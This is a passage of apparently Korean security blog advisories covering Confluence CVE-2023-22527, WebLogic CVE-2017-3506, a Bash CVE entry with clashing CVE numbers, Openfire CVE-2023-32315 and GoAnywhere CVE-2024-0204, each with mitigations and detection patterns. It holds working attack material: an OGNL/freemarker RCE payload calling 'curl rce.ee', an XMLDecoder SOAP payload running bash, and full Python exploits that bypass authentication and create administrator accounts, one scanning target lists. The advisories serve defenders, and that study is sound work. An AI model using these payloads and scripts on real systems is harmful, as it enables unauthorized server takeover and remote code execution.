User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.6099.199 Safari/537.36
Connection: close
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Content-Length: 255

label=\u0027%2b
#request\u005b\u0027.KEY_velocity.struts2.context\u0027\u005d.internalGet(\u0027ognl\u0027).findValue((new freemarker.template.utility.Execute()).exec({"curl rce.ee"}),{})%2b\u0027

 

2.2 Oracle (CVE-2017-3506) [5]

- Oracle WebLogic WLS 제품에서 XML 디코드 처리 미흡으로 조작된 XML 페이로드를 전송해 원격 코드 실행이 가능한 취약점 (CVSS: 7.4) [6]
- 영향받는 버전: 10.3.6.0 / 12.1.3.0 / 12.2.1.0 / 12.2.1.1 / 12.2.1.2
- PoC [7][8]

<soapenv:Envelope xmlns:soapenv="hxxp://schemas.xmlsoap.org/soap/envelope/">
  <soapenv:Header>
    <work:WorkContext xmlns:work="hxxp://bea.com/2004/06/soap/workarea/">
        <java version="1.8.0_131" class="java.beans.XMLDecoder">
          <void class="java.lang.ProcessBuilder">
            <array class="java.lang.String" length="3">
              <void index="0">
                <string>/bin/bash</string>
              </void>
              <void index="1">
                <string>-c</string>
              </void>
              <void index="2">
                <string>touch /tmp/123</string>
              </void>
            </array>
          <void method="start"/></void>
        </java>
      </work:WorkContext>
    </soapenv:Header>
  <soapenv:Body/>
</soapenv:Envelope>

 

2.3 GNU (CVE-2013-6217) [9]

- GNU Bash Shell에서 환경변수에 악의적인 코드를 삽입해 원격 코드 실행이 가능한 취약점 (CVSS: 9.8)
- 영향받는 버전: 1.14.0~1.14.7 / 2.0~2.05 / 3.0~3.0.16 / 3.1~3.2.48 / 4.0~ 4.3
- 관련 추가 내용 확인 불가

 

3. 대응방안

- 최신 버전 업데이트 적용

취약점 대상 소프트웨어 조치 방안
CVE-2023-22527 Confluence Data Center 8.5.4. 이상 업데이트
Confluence Server 8.6.0 이상 업데이트
8.7.1 이상 업데이트
CVE-2017-3506 WebLogic 2017.10 Oracle Critical 패치
업데이트
CVE-2014-6271 GNU Bash Red Hat Enterprise Linux 
4,5,6,7 업데이트
Ubuntu 10.04, 12.04, 14.04 
업데이트
* GNU 기반 운영체제별 최신 
업데이트 권고

 

4. 참고

[1] https://www.ncsc.go.kr:4018/main/cop/bbs/selectBoardArticle.do?bbsId=SecurityAdvice_main&nttId=115734&pageIndex=1&searchCnd2=
[2] https://nvd.nist.gov/vuln/detail/CVE-2023-22527
[3] https://blog.projectdiscovery.io/atlassian-confluence-ssti-remote-code-execution/
[4] https://github.com/Manh130902/CVE-2023-22527-POC
[5] https://nvd.nist.gov/vuln/detail/CVE-2017-3506
[6] https://ggonmerr.tistory.com/search/CVE-2017-3506
[7] https://github.com/Al1ex/CVE-2017-3506
[8] http://www.code2sec.com/weblogiclou-dong-cve-2017-3506fu-xian-web-servicesmo-kuai-de-lou-dong.html
[9] https://nvd.nist.gov/vuln/detail/CVE-2013-6217

1. Openfire [1]

- 자이브 소프트웨어(Jive Software)의 실시간 협업 서버

- XMPP(Extensible Messaging and Presence Protocol) 프로토콜을 기반으로 하는 오픈 소스 실시간 협업 서버

 

2. 취약점

[사진 1] https://nvd.nist.gov/vuln/detail/CVE-2023-32315 [2]

 

- 취약한 버전의 Openfire 관리 콘솔 페이지에서 설정 환경을 통한 경로 탐색이 가능한 취약점

> 해당 취약점은 2023년 패치 보안 업데이트를 발표하였으며, 해당 업데이트를 적용하지 않은 서버를 대상으로 공격 수행

> 최근 국가 배후 해킹조직에서 해당 취약점을 악용한 정황이 포착

제품명 영향받는 버전
Openfire 3.10.0 ~ 4.7.4
(3.10.0, 3.10.1, 3.10.2, 3.10.3, 4.0.0, 4.0.1, 4.0.2, 4.0.3, 4.0.4, 4.1.0, 4.1.1, 4.1.2, 4.1.3, 4.1.4, 
4.1.5, 4.1.6, 4.2.0, 4.2.1, 4.2.2, 4.2.3, 4.2.4, 4.3.0, 4.3.1, 4.3.2, 4.4.0, 4.4.1, 4.4.2, 4.4.3, 4.4.4,
4.5.0, 4.5.1, 4.5.2, 4.5.3, 4.5.4, 4.5.5, 4.5.6, 4.6.0, 4.6.1, 4.6.2, 4.6.3, 4.6.4, 4.6.5, 4.6.6, 4.6.7,
4.7.0, 4.7.1, 4.7.2, 4.7.3, 4.7.4)

 

2.1 취약점 상세

- 해당 취약점은 2023년 패치 보안 업데이트를 발표

> 해당 업데이트를 적용하지 않은 서버를 대상으로 공격 수행

[사진 2] http.title:"Openfire Admin Console" 검색 화면

 

- 해당 취약점은 "testURLPassesExclude" 메소드에서 URL에 대한 입력값 검증이 부족하여 발생

> doFilter()는 HTTP 요청을 가로채 입력값 검증, 권한 검증 등을 수행하는 것으로 판단됨

> testURLPassesExclude 메소드는 doFilter()에 의해 호출

> testURLPassesExclude는 URL에서 ".." 또는 "%2e (디코딩 .)" 문자열만 필터링하며 그 외 추가적인 필터링은 존재하지 않음

public static boolean testURLPassesExclude(String url, String exclude) {
        // If the exclude rule includes a "?" character, the url must exactly match the exclude rule.
        // If the exclude rule does not contain the "?" character, we chop off everything starting at the first "?"
        // in the URL and then the resulting url must exactly match the exclude rule. If the exclude ends with a "*"
        // character then the URL is allowed if it exactly matches everything before the * and there are no ".."
        // characters after the "*". All data in the URL before
        if (exclude.endsWith("*")) {
            if (url.startsWith(exclude.substring(0, exclude.length()-1))) {
                // Now make suxre that there are no ".." characters in the rest of the URL.
                if (!url.contains("..") && !url.toLowerCase().contains("%2e")) {
                    return true;
                }
            }
        }
        else if (exclude.contains("?")) {
            if (url.equals(exclude)) {
                return true;
            }
        }
        else {
            int paramIndex = url.indexOf("?");
            if (paramIndex != -1) {
                url = url.substring(0, paramIndex);
            }
            if (url.equals(exclude)) {
                return true;
            }
        }
        return false;
    }

 

- 공격자는 /%u002e%u002e/%u002e%u002e/ (디코딩 /../../)를 이용해 URL 입력값 검증을 우회

> 벤더사는 당시 웹 서버에서 지원하지 않는 UTF-16 문자의 특정 비표준 URL 인코딩에서 오류가 발생하였다고 밝힘

예시: "[Target IP]/setup/setup-s/%u002e%u002e/%u002e%u002e/log.jsp"

 

2.2 취약점 실습

- Opernfire 설치 후 정상 접근 확인

[사진 3] Openfire 정상 접근

 

- BurpSuite를 이용해 plugin-admin.jsp 요청을 전송하여 JSESSION ID 및 CSRF와 같은 필요한 세션 토큰을 획득

/setup/setup-s/%u002e%u002e/%u002e%u002e/plugin-admin.jsp

[사진 4] 세션 토큰 획득

 

- 획득한 세션 토큰을 이용해 user-create.jsp 요청을 전송하여 새로운 관리자 계정 생성

[사진 5] 새로운 관리자 계정 test 생성

 

- test 계정으로 정상 접근관리자 권한을 가진 것을 확인

> [사진 5] 관리자 계정 생성시 관리자 세션 토큰을 이용해 관리자 권한을 가진 것으로 판단됨

[사진 5] 관리자 계정 test 정상 접근

 

2.3 PoC [3]

- 세션 토큰(JSESSION ID 및 CSRF) 획득 후 토큰을 이용해 새로운 계정 생성

import random
import string
import argparse
from concurrent.futures import ThreadPoolExecutor
import HackRequests

artwork = '''

 ██████╗██╗   ██╗███████╗    ██████╗  ██████╗ ██████╗ ██████╗      ██████╗ ██████╗ ██████╗  ██╗███████╗
██╔════╝██║   ██║██╔════╝    ╚════██╗██╔═████╗╚════██╗╚════██╗     ╚════██╗╚════██╗╚════██╗███║██╔════╝
██║     ██║   ██║█████╗█████╗ █████╔╝██║██╔██║ █████╔╝ █████╔╝█████╗█████╔╝ █████╔╝ █████╔╝╚██║███████╗
██║     ╚██╗ ██╔╝██╔══╝╚════╝██╔═══╝ ████╔╝██║██╔═══╝  ╚═══██╗╚════╝╚═══██╗██╔═══╝  ╚═══██╗ ██║╚════██║
╚██████╗ ╚████╔╝ ███████╗    ███████╗╚██████╔╝███████╗██████╔╝     ██████╔╝███████╗██████╔╝ ██║███████║
 ╚═════╝  ╚═══╝  ╚══════╝    ╚══════╝ ╚═════╝ ╚══════╝╚═════╝      ╚═════╝ ╚══════╝╚═════╝  ╚═╝╚══════╝
                                                                                                       
Openfire Console Authentication Bypass Vulnerability (CVE-2023-3215)
Use at your own risk!
'''

def generate_random_string(length):
    charset = string.ascii_lowercase + string.digits
    return ''.join(random.choice(charset) for _ in range(length))

def between(string, starting, ending):
    s = string.find(starting)
    if s < 0:
        return ""
    s += len(starting)
    e = string[s:].find(ending)
    if e < 0:
        return ""
    return string[s : s+e]

final_result = []

def exploit(target):
    hack = HackRequests.hackRequests()
    host = target.split("://")[1]

    # setup 1: get csrf + jsessionid
    jsessionid = ""
    csrf = ""

    try:
        url = f"{target}/setup/setup-s/%u002e%u002e/%u002e%u002e/user-groups.jsp"

        headers = {
            "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36",
            "Accept-Encoding": "gzip, deflate",
            "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
            "Connection": "close",
            "Accept-Language": "zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3",
            "DNT": "1",
            "X-Forwarded-For": "1.2.3.4",
            "Upgrade-Insecure-Requests": "1"
        }
        print(f"[..] Checking target: {target}")
        hh = hack.http(url, headers=headers)
        jsessionid = hh.cookies.get('JSESSIONID', '')
        csrf = hh.cookies.get('csrf', '')

        if jsessionid != "" and csrf != "":
            print(f"Successfully retrieved JSESSIONID: {jsessionid} + csrf: {csrf}")
        else:
            print("Failed to get JSESSIONID and csrf value")
            return
        
        # setup 2: add user
        username = generate_random_string(6)
        password = generate_random_string(6)
        
        header2 = {
            "Host": host,
            "User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0",
            "Accept-Encoding": "gzip, deflate",
            "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
            "Connection": "close",
            "Cookie": f"JSESSIONID={jsessionid}; csrf={csrf}",
            "Accept-Language": "zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3",
            "DNT": "1",
            "X-Forwarded-For": "1.2.3.4",
            "Upgrade-Insecure-Requests": "1"
        }

        create_user_url= f"{target}/setup/setup-s/%u002e%u002e/%u002e%u002e/user-create.jsp?csrf={csrf}&username={username}&name=&email=&password={password}&passwordConfirm={password}&isadmin=on&create=%E5%88%9B%E5%BB%BA%E7%94%A8%E6%88%B7"
        hhh = hack.http(create_user_url, headers=header2)

        if hhh.status_code == 200:
            print(f"User added successfully: url: {target} username: {username} password: {password}")
            with open("success.txt", "a+") as f:
                f.write(f"url: {target} username: {username} password: {password}\n")
        else:
            print("Failed to add user")
        # setup 3: add plugin

    except Exception as e:
        print(f"Error occurred while retrieving cookies: {e}")

def main():
    print(artwork)

    ## parse argument
    parser = argparse.ArgumentParser()
    parser.add_argument('-t', '--target', help='The URL of the target, eg: http://127.0.0.1:9090', default=False)
    parser.add_argument("-l", "--list", action="store", help="List of target url saperated with new line", default=False)
    args = parser.parse_args()

    if args.target is not False:
        exploit(args.target) 
	
    elif args.list is not False:
        with open(args.list) as targets:
            for target in targets:
                target = target.rstrip()
                if target == "":
                    continue
                if "http" not in target:
                    target = "http://" + target
                exploit(target) 
    else:
        parser.print_help()
        parser.exit()

# def main():
#     parser = argparse.ArgumentParser(description="CVE-2023-32315")
#     parser.add_argument("-u", help="Target URL")
#     parser.add_argument("-l", help="File containing URLs")
#     parser.add_argument("-t", type=int, default=10, help="Number of threads")

#     args = parser.parse_args()

#     target_url = args.u
#     file_path = args.l
#     thread = args.t

#     targets = []

#     if target_url is None:
#         with open(file_path, "r") as file:
#             for line in file:
#                 target = line.strip()
#                 if target == "":
#                     continue
#                 if "http" not in target:
#                     target = "http://" + target
#                 targets.append(target)

#         with ThreadPoolExecutor(max_workers=thread) as executor:
#             for target in targets:
#                 executor.submit(exploit, target)
                

#     else:
#         exploit(target_url)

if __name__ == "__main__":
    main()

 

3. 대응방안

- 벤더사 제공 업데이트 적용 [4][5][6][7]

> decodedUrl()를 추가하여 UTF-8 디코딩 [8]

제품명 영향받는 버전 해결 버전
Openfire 3.10.0 ~ 4.7.4
(3.10.0, 3.10.1, 3.10.2, 3.10.3, 4.0.0, 4.0.1, 4.0.2, 4.0.3, 4.0.4, 4.1.0, 4.1.1, 
4.1.2, 4.1.3, 4.1.4, 4.1.5, 4.1.6, 4.2.0, 4.2.1, 4.2.2, 4.2.3, 4.2.4, 4.3.0, 4.3.1, 
4.3.2, 4.4.0, 4.4.1, 4.4.2, 4.4.3, 4.4.4, 4.5.0, 4.5.1, 4.5.2, 4.5.3, 4.5.4, 4.5.5, 
4.5.6, 4.6.0, 4.6.1, 4.6.2, 4.6.3, 4.6.4, 4.6.5, 4.6.6, 4.6.7, 4.7.0, 4.7.1, 4.7.2, 
4.7.3, 4.7.4)
4.6.8, 4.7.5, 4.8.0

 

- 업데이트가 불가한 경우 opt/openfire/plugins/admin/webapp/WEB-INF/web.xml 편집

> AuthFilter 요소에서 *를 제거 및 Authentication으로 설정한 후 모든 것을 제외

> 악용을 시도하는 경우 로그인 페이지로 리디렉션

[사진 6] 설정 파일 수정

 

- /%u002e%u002e/%u002e%u002e/ 탐지 정책 적용

 

4. 참고

[1] https://www.igniterealtime.org/projects/openfire/
[2] https://nvd.nist.gov/vuln/detail/CVE-2023-32315
[3] https://github.com/miko550/CVE-2023-32315
[4] https://discourse.igniterealtime.org/t/cve-2023-32315-openfire-administration-console-authentication-bypass/92869
[5] https://github.com/igniterealtime/Openfire/security/advisories/GHSA-gw42-f939-fhvm
[6] https://www.igniterealtime.org/downloads/
[7] https://www.boho.or.kr/kr/bbs/view.do?searchCnd=&bbsId=B0000133&searchWrd=&menuNo=205020&pageIndex=1&categoryCode=&nttId=71305
[8] https://github.com/igniterealtime/Openfire/blob/5454b57088ef6b62af39bb3cf704879baf55ab07/xmppserver/src/main/java/org/jivesoftware/admin/AuthCheckFilter.java#L194
[9] https://www.vicarius.io/vsociety/posts/cve-2023-32315-path-traversal-in-openfire-leads-to-rce
[10] https://codewithvamp.medium.com/cve-2023-32315-administration-console-authentication-bypass-c1429f8c4576
[11] https://www.seqrite.com/blog/critical-security-alert-cve-2023-32315-vulnerability-in-openfire-xmpp-server/
[12] https://www.boannews.com/media/view.asp?idx=126400&page=1&kind=1

1. GoAnywhere MFT [1]

- 포트라(Fortra)에서 개발한 파일 전송 애플리케이션

 

2. 취약점

[사진 1] https://nvd.nist.gov/vuln/detail/CVE-2024-0204 [1]

 

- 취약한 버전의 GoAnywhere MFT에서 발생하는 인증 우회 취약점 (CVSS: 9.8)

> 인증을 우회한 공격자는 새로운 관리자 계정을 생성해 추가 익스플로잇이 가능함

영향받는 버전 [3]
① Fortra GoAnywhere MFT 6.x (6.0.1 이상)
② Fortra GoAnywhere MFT 7.x (7.4.1 이전)

 

2.1 취약점 상세 [4]

- 최초 설치시 GoAnywhere MFT는 InitialAccountSetup.xhtml를 호출해 관리자 계정을 생성

 

[사진 2] 설치 중 관리자 계정 추가

 

- 설치 후 InitialAccountSetup.xhtml를 직접 요청하면 액세스할 수 없으며 리다이렉션이 발생

> 관리자 계정이 생성되었기 때문

> /Dashboard.xhtml 엔드포인트로 리디렉션

> 사용자가 인증되지 않았으므로 최종적으로 /auth/Login.xhtml로 리디렉션

 

- 모든 요청에 대해 com.linoma.dpa.security.SecurityFilter 클래스 호출

> 어떤 엔드포인트가 요청되는지 확인하고 엔드포인트, 사용자 컨텍스트 및 응용 프로그램 설정을 기반으로 요청이 올바른 엔드포인트로 라우팅 되도록 허용하는 doFilter() 기능을 수행

> 해당 클래스에서 취약점과 관련된 /InitialAccountSetup.xhtml 요청을 처리하는 명시적인 코드가 확인

① 91번 라인: 이미 생성된 관리자 사용자가 없고 경로가 /wizard/InitialAccountSetup.xhtml이 아닌 경우 설정 페이지로 리다이렉션
② 102번 라인: 이미 생성된 admin 사용자가 있고 경로가 /wizard/InitialAccountSetup.xhtml이면 /Dashboard.xhtml로 리디렉션

 

[사진 3]&nbsp; /wizard/InitialAccountSetup.xhtml 관련 명시적 코드

 

- 공격자는 이를 악용하기 위해 페이로드에 "/..;/"를 추가해 경로 순회 취약점을 이용

> Tomcat의 일부 취약한 구성은 /..;/를 /../로 정규화 [5][6]

> /..;/를 이용해 doFilter()를 우회하여 새로운 관리자 계정 생성 및 추가 익스플로잇 수행

hxxps://[Target IP]/goanywhere/images/..;/wizard/InitialAccountSetup.xhtml

 

[사진 4] 관리자 계정 생성 페이지 (좌) 및 관리자 계정 생성 (우)

 

2.2 PoC [7]

- /goanywhere/images/..;/wizard/InitialAccountSetup.xhtml URL로 GET 요청 전송

import requests
from bs4 import BeautifulSoup
import argparse

from requests.packages.urllib3.exceptions import InsecureRequestWarning

requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

def validate_password(password):
    if len(password) < 8:
        raise argparse.ArgumentTypeError("Password must be at least 8 characters long.")
    return password

def main():
    parser = argparse.ArgumentParser("CVE-2024-0204 GoAnywhere Authentication Bypass")
    parser.add_argument("endpoint", help="The endpoint URL (e.g., http://127.0.0.1:8080)")
    parser.add_argument("username", help="New admin username")
    parser.add_argument("password", help="New admin password", type=validate_password)
    args = parser.parse_args()
    url = f"{args.endpoint}/goanywhere/images/..;/wizard/InitialAccountSetup.xhtml"

    data = {
        "j_id_u:creteAdminGrid:username": args.username,
        "j_id_u:creteAdminGrid:password_hinput": args.password,
        "j_id_u:creteAdminGrid:password": "%E2%80%A2%E2%80%A2%E2%80%A2%E2%80%A2%E2%80%A2%E2%80%A2%E2%80%A2%E2%80%A2",
        "j_id_u:creteAdminGrid:confirmPassword_hinput": args.password,
        "j_id_u:creteAdminGrid:confirmPassword": "%E2%80%A2%E2%80%A2%E2%80%A2%E2%80%A2%E2%80%A2%E2%80%A2%E2%80%A2%E2%80%A2",
        "j_id_u:creteAdminGrid:submitButton": "",
        "createAdminForm_SUBMIT": 1,
    }

    s = requests.session()
    r = s.get(url, verify=False)
    if r.status_code == 401:
        raise Exception("Endpoint does not appear to be vulnerable.")

    soup = BeautifulSoup(r.text, "html.parser")
    input_field = soup.find('input', {'name': 'javax.faces.ViewState'})
    data['javax.faces.ViewState'] = input_field['value']
    r = s.post(url, verify=False, data=data)

    if r.status_code != 200:
        raise Exception("Failed to create new admin user")

    soup = BeautifulSoup(r.text, "html.parser")
    error_message = soup.find("span", {"class": "ui-messages-error-summary"})
    if error_message is not None:
        raise Exception(error_message.text)

if __name__ == "__main__":
    main()

 

3. 대응방안

- 벤더사 제공 최신 업데이트 적용 : Fortra GoAnywhere MFT 7.4.1 이상 [8]

> 벤더사 권고 추가 해결 방안

① 비컨테이너 배포 인스턴스의 경우 설치 디렉터리에서 InitialAccountSetup.xhtml 파일을 삭제하고 서비스 다시 시작

② 컨테이너 배포 인스턴스의 경우설치 디렉터리에서 InitialAccountSetup.xhtml 파일을 빈 파일로 바꾸고 서비스 다시 시작

 

- 관리자 계정 목록 검토

> GoAnywhere administrator portal Users -> Admin Users 검토

> 또는, \GoAnywhere\userdata\database\goAnywhere\log\*.log 로그 검토

※ 해당 로그는 DB의 트랜잭션 기록이 포함되어 있으며, 사용자 추가시 관련 로그가 기록됨

 

- /goanywhere/images/..;/wizard/InitialAccountSetup.xhtml 탐지 패턴 적용

 

4. 참고

[1] https://www.goanywhere.com/
[2] https://nvd.nist.gov/vuln/detail/CVE-2024-0204
[3] https://www.fortra.com/security/advisory/fi-2024-001
[4] https://www.horizon3.ai/cve-2024-0204-fortra-goanywhere-mft-authentication-bypass-deep-dive/
[5] https://book.hacktricks.xyz/network-services-pentesting/pentesting-web/tomcat#path-traversal
[6] https://www.acunetix.com/vulnerabilities/web/tomcat-path-traversal-via-reverse-proxy-mapping/
[7] https://github.com/horizon3ai/CVE-2024-0204
[8] https://www.kroll.com/en/insights/publications/cyber/authentication-bypass-in-fortra-goanywhere-mft
[9] https://cybersecuritynews.com/goanywhere-mft-bypass/amp/
[10] https://www.upguard.com/blog/goanywhere-cve-2024
[11] https://www.helpnetsecurity.com/2024/01/24/poc-cve-2024-0204/
[12] https://socprime.com/blog/cve-2024-0204-detection-critical-vulnerability-in-fortra-goanywhere-mft-resulting-in-authentication-bypass/
[13] https://www.boannews.com/media/view.asp?idx=126043&page=1&kind=1

+ Recent posts